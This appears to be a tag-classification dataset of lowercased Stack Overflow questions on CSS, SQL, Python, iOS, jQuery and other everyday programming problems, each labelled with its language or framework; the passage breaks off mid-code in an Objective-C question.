is there a way to refer to custom class object as to one of its properties/methods   for example i ve got class:   <pre><code>@interface customclass: nsobject     @property(nonatomic  readwrite) nsstring *name;     @property(nonatomic  readwrite) nsnumber *value;     -(nsdictionary *)getdict; @end  @implementation customclass -(nsdictionary)getdict {     nsmutabledictionary *dict = [nsmutabledictionary dictionarywithdictionary: @{}];     if(self.name) {         dict[@ name ] = self.name;     }     if(self.value) {         dict[@ value ] = self.value;     }     return dict; } @end </code></pre>   then i create instance of that class:   <pre><code>customclass *obj = [[customclass alloc] init]; obj.name = @ custom object ; obj.value = @1; </code></pre>   is there a way to get the  name  property or getdict method when refering to that object  like   <pre><code>nslog(@ %@   obj); </code></pre>   will return for example only the  name  property,objective-c
array initialization in c  can someone please explain me why its not possible to put a <code> \0 </code> character in the given array:   <pre><code>char a[]={ r   b };  a[2]= \0 ; </code></pre>   shouldn t the above code put a null character at the third slot and hence convert the character array a to a character string.,c
how to avoid universal rule css asterisk(*)   i have a table <code>&lt;table&gt;&lt;/table&gt;</code> and also a css rule <code>*{margin:0;padding:0;}</code>    now i want to nullify the effect of  <code>margin:0</code>  (the universal rule) over the above mentioned table. how can i achieve that,css
how to hide a control inside user control after click gridview button  this is the problem that bothers me for the past few days    i have a page with couple user controls.    on that page  there is a grid. if a user click on a particular row  a control (li) on the user control is shown or hidden based on the condition.     what makes things complicate is the user control and grid grid are all inside the update panel  but another user control is outside updaet panel    in the rowcommand event  i assigned a session variable  dontshow. based on the criteria  dontshow variable will be assigned to true or false. then the control on the user control will be shown or hidden based on dontshow condition    so far  i am encountering the problem.    let s say (li) control was shown  but after the user click gridview  dontshow is set to true. (li) control should be hidden. no it does not. i have to click other button to do postback to make it happen    the same is true for the usercontrol outside the update panel. the logic is similar    over the past few days  i have found out that i can t set visible property of controls in user control at page_load because that happens after rowcommand event. i moved the code to pre_render event    i even tried to use different control such as placeholder  panel  etc. that still does not work i also trace the code. the pre_render event comes after row command. dontshow variable is false. the (li) control visible is set to false. however  after rendering  i can still see the control    what should i do     below are the snapshot of the codes    thank you for the help    main.aspx    <pre><code>..... &lt;%@ register src= ../usercontrol1.ascx  tagprefix= uctest1  tagname= ctrl1  %&gt; &lt;%@ register src= ../usercontrol2.ascx  tagprefix= uctest2  tagname= ctrl2  %&gt; ...  &lt;ctrl1:uctest1runat= server  id= test1  /&gt; &lt;asp:updatepanel id= updatepantest1  runat= server  updatemode= always &gt;    &lt;contenttemplate&gt;        &lt;uctest2:ctrl2runat= server  updatemode= conditional  id= test2  /&gt; ....       &lt;asp:gridview ...&gt;         //grid where rowcommand was executed      &lt;/asp:gridview&gt;    &lt;/contenttemplate&gt; &lt;/asp:updatepanel&gt; </code></pre>   main.aspx code behind   <pre><code>protected void gridview_rowcommand(object sender  gridviewcommandeventargs e) {   if (e.commandname ==  something )   {       .....       if (x = 1)         session[ dontshow ] = true       else         session[ dontshow ] = false   } } </code></pre>   user control aspx  (usercontrol1)    ....   <pre><code> &lt;ul&gt;   &lt;li id= li1  runat= server &gt;     &lt;asp:label&gt;this is test&lt;/asp:label&gt;   &lt;/li&gt;   &lt;li &gt;     &lt;asp:label&gt;this is test&lt;/asp:label&gt;   &lt;/li&gt;   &lt;li &gt;     &lt;asp:label&gt;this is test&lt;/asp:label&gt;   &lt;/li&gt; &lt;/ul&gt; </code></pre>   .... user control code behind (usercontrol1)   <pre><code>protected void page_prerender(object sender  eventargs e) {     bool dontshow = false;     if (session[ dontshow ] != null)     {        dontshow = (bool)session[ dontshow ]     }     if (dontshow)       li1.visible = false      else       li1.visible = true } </code></pre>   user control aspx  (usercontrol2)    ....   <pre><code>&lt;asp:placeholder id= placeholder1  runat= server &gt; &lt;asp:label id= label1  runat= server &gt;&lt;/asp:label&gt; &lt;/asp:placeholder&gt; </code></pre>   .... user control code behind (usercontrol2)   <pre><code>protected void page_prerender(object sender  eventargs e) {     bool dontshow = false;     if (session[ dontshow ] != null)     {        dontshow = (bool)session[ dontshow ]     }     if (dontshow)     {       label1.visible =false;     }      else      {        label1.visible =true;        label1.text = this is test ;       } } </code></pre>,asp.net
group a dictionary of objects by object property  i ve got a dict of objects of class <code>metric</code>. each <code>metric</code> object has a property called <code>category</code> (e.g.   cat1    cat2   ...). what s the smartest way to arrange the dict by <code>category</code>      my solution right now is to make a set of all the categories by iterating thru each object  then iterating again and assigning each object to a category  but i m thinking there may be a more efficient way     what i have:   <pre><code>{ a : &lt;__main__.metric at 0xb1e3470&gt;    b : &lt;__main__.metric at 0xb14f7b8&gt;    c : &lt;__main__.metric at 0xb160828&gt;    d : &lt;__main__.metric at 0x5ee9128&gt;    e : &lt;__main__.metric at 0xb14f550&gt;    f : &lt;__main__.metric at 0xb14ff98&gt;    g : &lt;__main__.metric at 0xb14fa58&gt;  ...} </code></pre>   what i would like:   <pre><code>{ cat1 : [&lt;__main__.metric at 0xb160828&gt;  ...]   cat2 : [&lt;__main__.metric at 0xb14f550&gt;  ...]  ...} </code></pre>,python
how to convert html pages into bmp using java  i am having thousands of html files  i want to convert then to <code>.bmp</code> (bitmap images) using java.    like i select all the html files specify the size and then code will convert all images into bmp.    please suggest me the simple method  which class shall i use for the same.    is there any api for converting html to bmp.,java
dont understand how nsclassfromstring can be used for conditional calling  i have a testing class within my project that is there during the development phase but will be compiled out for the app store build.    i ve read in several books that nsclassfromstring can be used to determine if a class exists with example code such as:   <pre><code>if (nsclassfromstring(@ someclass ) != nil) { [someclass somemethod]; } else { code not using someclass } </code></pre>   however after putting this into practice in my project  i find that i m getting a linking error for the target where i have removed the source file containing someclass.    therefore my conclusion is this mechanism for determining the presence/absence of a class is only useful if that class is within a library or source file where you are using other classes ( a detail which is missing from the books that mention this technique). or am i missing something,ios
filter map vs list comprehension  is filter/map equivalent to list comprehension  suppose i have the following function   <pre><code>def fib_gen():     a b = 0 1     yield 0     yield 1     while true:         a b = b a+b         yield b </code></pre>   now i can use list comprehension to list fib numbers:   <pre><code>a = fib_gen() print [a.next() for i in range(int(sys.argv[1]))] </code></pre>   suppose i want to list only even fib numbers. i would do the following with filter/map:   <pre><code>a = fib_gen() print filter(even  map(lambda x: a.next()  range(int(sys.argv[1])))) </code></pre>   how can i get the same result with list comprehension,python
sql - combination of distinct & count in a table  need a simple query to summarize result from a table where 3 columns are present: order id  category &amp; brand.    the summary should contain order id  distinct count of category and distinct count of brand belonging to the order id.    <strong>sample data:</strong>   <pre><code>orderno product brand 1       a       z 1       a       x 1       b       y 2       c       x 2       b       x 3       c       x 3       b       y </code></pre>   <strong>expected result:</strong>   <pre><code>orderno product brand 1       2       3 2       2       1 3       2       2 </code></pre>   <a href= http://i.stack.imgur.com/vluzu.png  rel= nofollow >sample data &amp; summary</a>,sql
how to control the orientation of the device in iphone / ipod   i have to do something on rotation the device on the portrait mode but when i use the    <pre><code>(bool)shouldautorotatetointerfaceorientation:(uiinterfaceorientation)interfaceorientation {     // return yes for supported orientations     //[[[uiapplication sharedapplication]keywindow]subviews removefromsuperview ];   // return (interfaceorientation == uiinterfaceorientationlandscaperight);     return yes; } </code></pre>   following code and it work fine on the simulator but when i use to install the code in the device it make the device so much sensitive that if i just a little change the position in the device it execute this code and go to the view that i m showing on the rotation of the phone  than pls anyone tell me that how can i control the sensitivity of the device i mean that i just want when user complete a 90  rotation in the position than my code should execute but it just execute if just shake the phone in the same position .    thanks for any help     balraj verma,iphone
merging of two array in php  duplicate gets removed  i looking to merge the following array in php   <pre><code>array 1 =  [0]      (         [roll_id] =&gt; 1         [vendor_id] =&gt; 1     ) [1]      (         [roll_id] =&gt; 2         [vendor_id] =&gt; 1     )  array 2 =  [0]             (         [roll_id] =&gt; 1         [roll_name] =&gt; manager         [roll_discription] =&gt;      ) [1]      (         [roll_id] =&gt; 2         [roll_name] =&gt; store leader         [roll_discription] =&gt;      ) </code></pre>   such that    <pre><code>array 3 =   [0]        (         [roll_id] =&gt; 1         [roll_name] =&gt; manager         [roll_discription] =&gt;          [vendor_id] =&gt; 1     )  [1]      (         [roll_id] =&gt; 2         [roll_name] =&gt; store leader         [roll_discription] =&gt;         [vendor_id] =&gt; 1      ) </code></pre>   i understand using loop i can do this  was looking to use some inbuilt function like array_merge  array_unique.,php
call jquery twice  i want to use jquery code inside content(div) is already loaded by jquery  here is my example code:   <pre><code>&lt;!-- slide panel with form adding data  --&gt; &lt;div style= display: none;  id= slideaddform  &gt; &lt;h2&gt;add row&lt;/h2&gt; from here .. &lt;/div&gt;  &lt;div class= tabs &gt; &lt;!-- tabs --&gt;     &lt;ul&gt;         &lt;li&gt;&lt;a href= #first &gt; first &lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a  class= seconda  href= #second &gt; second &lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a  class= comments_title  href= #third &gt; third &lt;/a&gt;&lt;/li&gt;     &lt;/ul&gt; &lt;/div&gt;  &lt;!-- first tab .. html data --&gt; &lt;div id= first &gt; &lt;a class= baddrow  href= # &gt; add row  &lt;/a&gt;   &lt;!-- to show slideaddform div .. it`s work ok  --&gt; anything here .. &lt;/div&gt;  &lt;!-- second tab and 3rd tab get data from server --&gt; &lt;div id= second &gt;   &lt;!-- load page in this tab  --&gt;   &lt;script type= text/javascript &gt;       $(document).ready(function() {       $( a.seconda ).click(function(){       $( #second ).load( server.php );       });       });   &lt;/script&gt; &lt;/div&gt;  &lt;div id= third &gt;&lt;/div&gt; </code></pre>   now in server.php i put this:   <pre><code>&lt;a class= baddrow  href= # &gt; add row  &lt;/a&gt;  &lt;!-- not work !  --&gt; </code></pre>   but it does not work ..    you can see  in the first tab the link (add row) work fine  but it does not work in the (#second) tab because (i think) it is loaded already by ajax.    don t say put this line     <pre><code>&lt;a class= baddrow  href= # &gt; add row  &lt;/a&gt; </code></pre>   after    <pre><code>&lt;div id= second &gt; </code></pre>   and before javascript code  because this is a simple code to clear my problem. my really code is complicated  and i have to put (for example) this line (add row link) in the server.php and i want it to show slideaddform div     any help,jquery
how to remove an object by button   i built two buttons with this values( +  and  - ) when i click on  +  it creates a text and combo box  i wanna know how to remove them with  -  button (by only javascript)    here s the code:   <pre><code>&lt;html xmlns= http://www.w3.org/1999/xhtml &gt; &lt;head&gt; &lt;title&gt;create and delete&lt;/title&gt; &lt;script type= text/javascript &gt; /*this function creates text box and combo box*/ function cre()     {var t=document.createelement( select );     var form=document.getelementbyid( theform );     var label = document.createelement( label );     var textbox = document.createelement( input );     form.appendchild(t);     form.appendchild(textbox);} function del()     /*{delete t form label textbox;}*/ &lt;/script&gt; &lt;/head&gt; &lt;body&gt;     &lt;form id= theform &gt;         &lt;input type= button  value= +  onclick= cre()  /&gt;         &lt;input type= button  value= -  onclick= del()  /&gt;     &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,javascript
dropdown menu unfocused  it s not a new problem - when you hover over the dropdown menu  it disappears. i searched many topics and i know about child and sibling selectors  but i still can t find my mistake in my code.     here s my code and a demo:   <pre><code>.navbar ul { position: relative; float: left; }  .navbar ul &gt; li {  display: inline-block;  margin: 0 28px 0 0; vertical-align:top; }  .navbar ul &gt; li &gt; a {   display: block;   color: #fff;   font-size: 17px;   text-decoration: none; }  .navbar ul &gt; li &gt; a:after {     content:  | ;     padding: 0 0 0 28px;     color: #000;     font-size: 17px; }  .navbar ul &gt; li:last-child a:after {     content:   ; }  /* dropdown list */      .navbar ul ul {     position: absolute;       margin: 19px 0 0 0;       padding: 0;       top: 100%;       left: 0;       right: 0;       width: 100%;       height: 355px;       background-color: #00e1f5;     }  </code></pre>   <a href= http://jsfiddle.net/5xkm2/  rel= nofollow >jsfiddle</a>    any suggestions,css
unable to acccess iboutlets when called from other class  i have two classes  and class1 calls a method from class2  like this:   <pre><code>class2 *c = [[class2 alloc] init]; [c cmethod]; [c release]; </code></pre>   the method get called  but if i try to access an iboutlet  nothing happens.   <pre><code>self.outlet.text = @ asdf ; </code></pre>   however  when i do it from viewdidload  it works.   <pre><code>[self c]; </code></pre>,ios
how to compare a string to dates in a find clause   i want to get models whom date is within a date range. so i want to do something like    <code>mymodel.find_all_by_field1_id_and_field2_id(value1  value2  :conditions =&gt; { :date =&gt; nb_days_ago..date.yesterday })</code>    the thing is  the date attribute of my model is a string (with the format  08-24-2010 )  and i can t modify this. so to compare it to my range of dates  i tried this:     <code>mymodel.find_all_by_field1_id_and_field2_id(value1  value2  :conditions =&gt; { date.strptime(:date   %m-%d-%y ) =&gt; nb_days_ago..date.yesterday })</code>    but i get an error that basically says that strptime can t process the :date symbol. i think my solution is not good.    how can i compare my string to my range of dates      thanks,ruby-on-rails
gridview data update on each textbox keystoke  gridview data update on each textbox keystoke,.net
how can i find the arguments in a php function   i know how to check with <code>func_num_args</code> for the number of arguments for a function  but how can i get these arguments inside the php function:   <pre><code>&lt; php function test() {         echo func_num_args(); //returns 2         echo $argv[1]; //this doesn t work }  test( aa   bb );   &gt; </code></pre>,php
how can i have a rounded border on my table and border-collapse: collapse   i have the following:   <pre><code>&lt;table style= border-radius: 5px; border: 1px solid #999; xborder-collapse: collapse; &gt;   &lt;thead&gt;     &lt;tr style= background-color: red; &gt;       &lt;th&gt;weekday&lt;/th&gt;       &lt;th&gt;date&lt;/th&gt;       &lt;th&gt;manager&lt;/th&gt;       &lt;th&gt;qty&lt;/th&gt;     &lt;/tr&gt;   &lt;/thead&gt;   &lt;tbody&gt;     &lt;tr&gt;       &lt;td&gt;mon&lt;/td&gt;       &lt;td&gt;09/11&lt;/td&gt;       &lt;td&gt;kelsey&lt;/td&gt;       &lt;td&gt;639&lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;       &lt;td&gt;tue&lt;/td&gt;       &lt;td&gt;09/12&lt;/td&gt;       &lt;td&gt;lindsey&lt;/td&gt;       &lt;td&gt;596&lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;       &lt;td&gt;sun&lt;/td&gt;       &lt;td&gt;09/17&lt;/td&gt;       &lt;td&gt;susan&lt;/td&gt;       &lt;td&gt;272&lt;/td&gt;     &lt;/tr&gt;   &lt;/tbody&gt; &lt;/table&gt; </code></pre>   <a href= http://jsfiddle.net/axdby/  rel= nofollow >example</a>    i would like to have rounded borders  no space between cells also have the top header area of my table a different color. but it doesn t seem to work.     i created this fiddle. when i comment out border-collapse i get the rounded edges but spaces between cells. when it s in i get no border radius and no space between cells.     update:     here seems to be the perfect solution: <a href= http://jsfiddle.net/fdmdv/  rel= nofollow >fiddle</a>,css
how to simplify x && (!y || (y && z))  is there a better way to check whether <code>x &amp;&amp; (!y || (y &amp;&amp; z))</code> is true  i guess i could create a function for that and do something like <code>x &amp;&amp; not_or_and(y  z)</code> to mitigate some of the pain. but is this really all i can do,c++
sql error code: 1241. operand should contain 1 column(s)  it had been a while since i used sql     need a little push...    got 2 table  users and votes   <pre><code>users {id email....} votes {id userid date vote} </code></pre>   the sql:   <pre><code>insert into votes_table (users_table.id   date vote) values (                 (select users_table.id  users_table.email                  from users_table                 where users_table.email= lalala@lalall.com )              datetime              true         ) </code></pre>   the error   <pre><code>error code: 1241. operand should contain 1 column(s) </code></pre>,sql
how to control the z-index on this specific suggestion box  i m trying to make this suggestion box be on top. <img src= https://i.stack.imgur.com/liiez.jpg  alt= picture of dior search > i can t get the z-index to work properly. any suggestions on how to edit the css to make it overlap the next content block     site url: <a href= https://shop.cph.dk/thejourneyison  rel= nofollow noreferrer >https://shop.cph.dk/thejourneyison</a>,css
css text in vertical height <pre><code>text-align: center; box-sizing: border-box; color: #fff; float: left; width: 50%; height: 65vh; padding-top: 14% </code></pre>   that s my css. what i want is the text to be precisely in the middle  but it won t work since my height depends on the screen height. how may i fix this,css
creating a sql query to sum and divide  i have this table:   <pre><code>username | score | gameid simjoo   | 14    | 1 simjoo   | 20    | 1 simjoo   | 23    | 2 master   | 32    | 1 master   | 25    | 2 master   | 9     | 2 </code></pre>   for every player  i need the sum of the highest score of the player at every gameid divided by the highest score gotten for that gameid. this  for any number of different players  scores and gameids.    the result of above example table would be:   <pre><code>username | total score master   | 2.000 simjoo   | 1.545 </code></pre>   for clarity:   <ul> <li>the calculation for the player master is (32/32)+(25/25) =2.000</li> <li>the calculation for the player simjoo is (20/32)+(23/25) = 1.545</li> </ul>  <hr>  <pre><code>select username  sum((select max(score) where username=  and gameid= )/(select max(score) where gameid= )) as total_score group by username order by total_score desc </code></pre>,mysql
mysql stock entry <h2>purchase table</h2>  <blockquote>    id (primary key)  itemno  itemname  units  qty  location  cprice    sprice  supplier  pono  </blockquote>  <h2>stock table</h2>  <blockquote>    id (primary key)  itemno  qty  location  </blockquote>  <pre><code>if exists (select itemno  location from stock where stock.itemno =  poitem.itemno  and stock.location =  poitem.location ) then    update stock set stock.qty = stock.qty + poitem.qty where stock.itemno =  poitem.itemno ;  else     insert into stock (stock.itemno  stock.qty  stock.location) select poitem.itemno  poitem.qty  poitem.location from poitem;   end if </code></pre>   this is my code  but its not working as it should be i need to update stock table when i enter a record through purchase table only is the record already exists  otherwise new record need to be entered.    example:<br> itemno - qty - location<br>  1001    - - -       15      - - -      a<br>  1001    - - -       12      - - -      b<br>  1002    - - -    50        - - -    c<br>  1003    - - -     12        - - -    a<br> can any one please write mysql code for this.<br> thank you.,mysql
how to get the value from an object from args.getdatakeyvalue  now suppose companyname is a object and i want to get one field s value from  args.getdatakeyvalue( companyname ). is this doable    <pre><code>       function rowselected(sender  args)         {             document.getelementbyid( &lt;%= label1.clientid %&gt; ).innerhtml =               &lt;b&gt;customerid: &lt;/b&gt;  + args.getdatakeyvalue( customerid ) +               &lt;br /&gt;  +               &lt;b&gt;companyname: &lt;/b&gt;  + args.getdatakeyvalue( companyname );         } </code></pre>,.net
ios 8 - force system keyboard for an input field without using securetextentry   first off - i am a programmer  but i am not an ios programmer.    is there a method  besides  securetextentry=yes  to force an input field to use the system keyboard     i m investigating an uncomfortable behavior in 1password (i do not work for agilebits) where all third-party keyboards are disabled app-wide.  they have an option to re-enable them  however it s buried in the advanced options and is in no way evident to a user.  if you have removed the system keyboards in lieu of a third-party keyboard  you just get an app with no keyboards at all  or only emoji (if installed).    if there s a way to designate a field as requiring the system keyboard  without it being treated as a password  i haven t been able to find it in the ios documentation… but their doc site isn t the easiest to navigate or search.,ios
jquery storing attribute into an array or object between two classes  i have following markup.   <pre><code>&lt;div class= block  my_id= 1 &gt;1&lt;/div&gt; &lt;div class= block first  my_id= 2 &gt;2&lt;/div&gt; &lt;div class= block  my_id= 3 &gt;3&lt;/div&gt; &lt;div class= block  my_id= 4 &gt;4&lt;/div&gt; &lt;div class= block last  my_id= 5 &gt;5&lt;/div&gt; &lt;div class= block  my_id= 6 &gt;6&lt;/div&gt; </code></pre>   i want to select the values for <code>my_id</code> in between the <code>first</code> and <code>last</code> classes and store them in an object. it will be 2 3 4 5 in this case.   <pre><code> var number_store = [];  $( .first ).nextuntil( last ).attr( my_id )//   </code></pre>   how would i achieve this      thanks!,jquery
if no value before decimal  then add zero (in python 2.7)  i have the following values:   <pre><code>.03 .04 1.23 </code></pre>   i would like to add 0 to any of the values that do not have a value before the decimal place. so the output would be:   <pre><code>0.03 0.04 1.23 </code></pre>,python
does countrycodepicker support entering phone number  i m using <code>countrycodepicker</code> in my code where the user can select the country he s in and supposedly enter he s phone number  so does this control support entering phone number or do i have to use <code>edittext</code> view     also  say i ll have to use <code>edittext</code>  does this control support checking a phone number validity    <pre><code>    &lt;com.hbb20.countrycodepicker         android:id= @+id/ccpicker          android:layout_width= wrap_content          android:layout_height= wrap_content          android:layout_gravity= center_vertical          app:ccp_defaultlanguage= english          app:ccp_defaultphonecode= 54          app:ccp_shownamecode= false          app:ccp_rememberlastselection= true  /&gt; </code></pre>,android
messages screen in an ios app  i ve noticed a few ios apps have a message pane that s just like the native ios messages screen (colour speech bubbles from both sides).    twitter and facebook to name a couple.    is there any third party plugin or library that offers a framework for building a conversation screen in ios or have these apps developed custom solutions,ios
asp.net transactions  i have some piece of code in my website which adds the details into tables. now i want that if some error occurs the previously entered data should be removed. how can i implement it with the help of transactions,asp.net
iphone. com port communication  is it possible that the iphone can somehow send data or some control command to the computer s com ports via usb cable  maybe use inline assembly language for instance  thanks!,iphone
url applicationwillterminate objective c  i been trying to execute or request a url  inside de applicationwillterminate event  but when i do it  the other functions  like:   <pre><code>- (nsurlrequest *)connection:(nsurlconnection *)connection              willsendrequest:(nsurlrequest *)request            redirectresponse:(nsurlresponse *)redirectresponse {   [baseurl autorelease];   baseurl = [[request url] retain];   return request; }  - (void)connection:(nsurlconnection *)connection didreceiveresponse:(nsurlresponse *)response {   [responsedata setlength:0]; }  - (void)connection:(nsurlconnection *)connection didreceivedata:(nsdata *)data {   [responsedata appenddata:data]; } </code></pre>   they doesn t get executed  i guess because  the last function or event executed it is applicationwillterminate. is there a way to reach or do it.,objective-c
within same line  have a center element and right-most element  i had posted the question once to <a href= http://doctype.com/within-same-line-have-center-element-right-most-element  rel= nofollow noreferrer >http://doctype.com/within-same-line-have-center-element-right-most-element</a>  but didn t get a good answer for that. i posted it here and hopefully will get a good feedback ;)   <pre><code>&lt;div style= float:right &gt;     right most  same line as hello world and will not push hello world! &lt;/div&gt;  &lt;div style= text-align:center &gt;hello world&lt;/div&gt; </code></pre>   currently  the right most element  will push the  hello world  out from center of the page. how can i avoid this     i wish   <ul> <li>hello world is still at center</li> <li>the right element is still same line as hello world</li> <li>the right element is at right most</li> <li>both are top most</li> </ul>   thanks.    i tried some suggestion by others but it won t work.   <pre><code>&lt;div style= text-align:center; width:100%; &gt;    hello world    &lt;div style= float:right &gt;right most  same line as hello world and will not push hello world!&lt;/div&gt;   &lt;div style= clear:both &gt;&lt;/div&gt; &lt;/div&gt; </code></pre>   for the above code  i tested with ie 8. they will not be at same line. and i tested with firefox 3.6.8  the  hello world  will be pushed toward left by the right side element.,css
some questions i have when converting from classic asp to .net  in my classic asp website  there is an <code>objcmd</code> variable being set to the value of <code>server.createobject( adodb.command )</code>. i think that <code>objcmd</code> should be turned into a <code>sqlcommand</code> .net object  but i need confirmation first. i m still not sure what <code>server.createobject( adodb.command )</code> is doing.    can someone explain <code>server.createobject()</code> to me,asp.net
objective c accessing an object method dynamically in an array  objective c: i have an nsmutablearray with 3 objects of a class stockholding    the class has a method valueindollars which returns the product of  (numberofshares * sharemktvlue)    the for loop (below) attempts to dynamically call the method valueindollars for each element in the array as follows:   <pre><code>nsuinteger itemcount = [stockholding count];  for (int i = 0; i &lt; itemcount; i++) {     nsstring *itemd = [stockholding objectatindex:i];     float mktvalue = [aapl valueindollars];   } </code></pre>   the question is:  how can aapl be declared dynamically so that it changes for each loop iteration to the stock symbol object in the array.    i tried to replace aapl with  itemd  in the code above  but get the error message:      nsstring may not respond to valueindollars     any help here would be appreciated.,objective-c
error with where exists mysql query <pre><code>set @userid := 1; select 1 as issmoker where exists (select situationid                                       from usersituation                                      where userid=@userid                                       and situationid=3); </code></pre>   sql query:    <pre><code> select 1 as issmoker where exists (select situationid                                        from usersituation                                       where userid=@userid                                         and situationid=3)  </code></pre>  <blockquote>    mysql said:        1064 - you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use   near  where exists ( select situationid from usersituation where   userid=@userid and   at line 1  </blockquote>   this is the error i am receiving but i don t know why it happens.    the    <pre><code>select situationid from `usersituation` where userid=@userid and situationid=3 </code></pre>   returns a row when used alone.    <strong>note:</strong>    <blockquote>    the purpose of the query is  if the subquery returns any value then   return one row with the value of 1 in a custom column named issmoker  </blockquote>,mysql
problem with active record and the before_save filter  i have this code in my model  but something is not working as i expected.   <pre><code>   before_save :destroy_image   :no_spaces_in_telephone     def no_spaces_in_telephone      self.phone.gsub! /\s+/   xxx       ablog  telefono   self.phone    end     def ablog tag  string      logger.info  \n\n#### #{tag} : \n   + string.to_s +  \n\n     end </code></pre>   the log prints the phone with  xxx  in place of white spaces  but my record does not get updated  and the phone remains the same  with all the withes paces in their place.    what am i doing wrong,ruby-on-rails
what does this ruby on rails code do   i am working on a project and there has been an error with a customer getting responses. when they invoked an api call they got a 500 error. from the logs i identified the code causing the error which is shown below:   <pre><code>def send   adapter = @config[ type ]   response =  adapters::#{adapter} .constantize.new(@config  @msisdn  @message).send   response   (%w(200 201 202).include  response.code.to_s) : false end </code></pre>   the error is being caused by the line:   <pre><code>response   (%w(200 201 202).include  response.code.to_s) : false </code></pre>   my understanding of this line is limited so could do with some help understanding it better. i believe it is checking if the response contains one of the codes 200  201 or 202 but not sure. any help is appreciated.,ruby-on-rails
why auto_increment not working in sql  <pre><code>create table persons  (     id int not null auto_increment      lastname varchar(255) not null      firstname varchar(255)      age int      primary key (id) ); </code></pre>   when i run this code  it is not run successfully.,sql
pass variable back to injected angular module   i have a angular-module that looks like this:   <pre><code>angular.module( simperiumangular   []). config(function(simperiumcred){     console.log(simperiumcred) //  var simperium = new simperium( simperium_app_id   { token :  simperium_access_token }); }) </code></pre>   how can i pass the constant simperiumcred from the main angular module  that the first module is injected into:   <pre><code>angular.module( todo   [ simperiumangular ]). constant( simperiumcred   test ). </code></pre>,angularjs
how can we give uiimage object to uiview in ios   hi i have searched but not getting the answer because i am new ios..please anyone give the answer to me   <pre><code>-(void)amethod:(uibutton*)sender{  uibutton *selectbutton = (uibutton*)sender; nslog(@ hi %d  sender.tag); previousbuttontag=selectbutton.tag; nslog(@ hi %d  sender.tag); uiimage *selectimage; self.frameimage.image = nil;  if(ui_user_interface_idiom()==uiuserinterfaceidiomphone){ if (subbuttontag == 112) {     self.frameimage.image = nil;     selectimage = nil;     selectimage = [self.imagesarray objectatindex:sender.tag];     nslog(@ selectimage = %@  selectimage);     self.frameimage.image = selectimage;    self.mainview.backgroundcolor=selectimage; } </code></pre>   i want to give that uiimage object to uiview..if i give getting exception ..how can i do this ..please anyone help me to do this thank you in advance,ios
store time and date separably in a mysql database using default values  in my mysql database table i have two columns called  date  and  time .  date  datatype is set to datetime and  time  datatype is set to timestamp. what i want to do is store only date in  date  column and store only time in  time  column. my table name is  loans .i m not good in sql querying. someone please show me exactly how to do that.    and also i have some another problems with time zones. i want to convert my database time format to utc -5:00 (us time).how  can i do that without change my pc time,mysql
is it possible to emulate android phone on android tablet   i have a tablet with mdpi screen (xlarge). is it possible to emulate some other screen configurations on it  i have layouts for middle-size screens and i want to see how they will look like without using emulator (it causes a lot of pain for my pc).    for example  i ve seen something like that on ipad (when its running iphone apps),android
like  %  in where clause : is it always ignored  to simplify/generalize my sql  i want to use this code:   <pre><code>select ... from ... where columnname like  [to_be_replaced]  </code></pre>   if a certain field of my gui is empty  i want to replace  to_be_replaced  by  % :   <pre><code>select ... from ... where columnname like  %  </code></pre>   but if it contains something  [to_be_replaced]  is replaced with the content  like this:   <pre><code>select ... from ... where columnname like  foo  </code></pre>   my question is: do all (or major) sql engine optimize this code by simply ignoring where condition when content of like is  %  alone,sql
tableview nsinvalidargumentexception and i don t know why  i m trying to make a table view using the following array and objects.   <pre><code>- (void)viewdidload {     [super viewdidload];     [self.tableview registerclass:[uitableviewcell class] forcellreuseidentifier:@ cell ];     characterarray = [[nsmutablearray alloc] init];      character * choice = [[character alloc] init];      choice.name = @ creat new character ;     [characterarray addobject:choice];      character * secondchoice = [[character alloc]init];     secondchoice.name = @ paliden ;     [characterarray addobject:secondchoice]; } </code></pre>   but i keep getting <code>nsinvalidargumentexception</code>  reason: <code>-[character isequaltostring:]</code>    i ve figured out that the problem is here in the <code>cellforrowatindexpath</code>   <pre><code>cell.textlabel.text = [characterarray objectatindex:indexpath.row]; </code></pre>   i can t figure out what i m doing wrong  and until i made a few changes to the array  the code was working fine. any suggestions would be helpful.,objective-c
python: unknown # of files as function arg  having this working code to read 2 files and reprint them:   <pre><code>import sys args = sys.argv[1:]  def funcprint(arg1  arg1):     with open(arg1   r ) as inp:         for line in inp:             print(line)     with open(arg2   r ) as inp:         for line in inp:             print(line)  funcprint( c:/file1.txt    c:/file2.txt ) </code></pre>   but how would one pass an arbitrary number of files to the function  having <code>*arg</code> instead of <code>1</code> &amp; <code>2</code> results in <code>typeerror: invalid file:</code>  even with just 1 passed file.    as a side question  is there a way to shorten the function call if all files are in the same folder  something like <code>funcprint( c:/ :  file1.txt    file2.txt )</code>.,python
is it any useful to have a `public static final string module = someclass.class.getname();` in a java class  i am seeing a lot of lines like <code>public static final string module = someclass.class.getname();</code> in my company s internal code base. i am very curious why such a line is any useful  because i can t find any usage of the constant <code>module</code>. so  why are they there  what are the use cases,java
when will a nsobject s property could be null  i have a model translator. it reads <code>amodel</code> s properties  and copy the value to <code>bmodel</code> s same property if <code>bmodel</code> has. now i have a crash report shows the property is <code>null</code>. that is so strange. the property is got from a property list and it is <code>null</code>.    here is the message:    <code>*** terminating app due to uncaught exception  nsunknownkeyexception   reason:  [&lt;xxxxxx 0x1594051a0&gt; valueforundefinedkey:]: this class is not key value coding-compliant for the key (null).</code>   <pre><code>+ (instancetype)convertsourceobject:(id)sourceobject { if (!sourceobject) {     return nil; }  id destination_object = [[self alloc] init];  uint destination_properties_count = 0;  objc_property_t *destination_properties = class_copypropertylist([self class]  &amp;destination_properties_count);  for (int i = 0; i &lt; destination_properties_count; i++) {      objc_property_t destination_property = destination_properties[i];      uint source_attributes_count = 0  destination_attributes_count = 0;      objc_property_attribute_t *destination_attributes = property_copyattributelist(destination_property  &amp;destination_attributes_count);      const char *property_char_name = property_getname(destination_property);     nsstring *property_name = [nsstring stringwithutf8string:property_char_name];      objc_property_t source_property = class_getproperty([sourceobject class]  property_char_name);      if (source_property &amp;&amp; ![ignorepropertynames() containsobject:property_name]) {         objc_property_attribute_t *source_attributes = property_copyattributelist(source_property  &amp;source_attributes_count);          nsstring *source_ivar_type = @  ;         nsstring *destination_ivar_type = @  ;          for (int i = 0; i &lt; source_attributes_count; 